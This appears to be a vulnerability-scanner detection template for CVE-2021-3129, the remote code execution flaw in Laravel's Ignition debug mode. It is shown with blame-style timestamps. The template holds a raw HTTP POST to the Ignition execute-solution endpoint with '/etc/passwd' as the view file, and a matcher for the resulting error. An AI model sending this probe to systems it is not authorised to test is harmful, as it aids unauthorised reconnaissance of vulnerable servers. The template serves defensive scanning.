2021-02-27 12:56:57 +00:00
id : CVE-2021-3129
info :
2021-03-03 06:28:28 +00:00
name : LARAVEL <= V8.4.2 DEBUG MODE - REMOTE CODE EXECUTION
2021-02-27 12:56:57 +00:00
author : z3bd
severity : critical
2021-03-03 06:28:28 +00:00
description : Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
2021-02-27 13:00:16 +00:00
reference : https://www.ambionics.io/blog/laravel-debug-rce
2021-02-27 12:56:57 +00:00
tags : cve,cve2021,laravel,rce
2021-02-27 18:26:53 +00:00
# Note:- This is detection template, use the referenced article for detailed exploit.
2021-02-27 12:56:57 +00:00
requests :
2021-02-27 18:24:39 +00:00
- raw :
- |
POST /_ignition/execute-solution HTTP/1.1
Host : {{Hostname}}
Accept-Encoding : deflate
Accept : application/json
Connection : close
Content-Length : 144
Content-Type : application/json
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd" }}
2021-02-27 12:56:57 +00:00
matchers :
- type : word
words :
2021-02-27 18:24:39 +00:00
- "failed to open stream: Permission denied"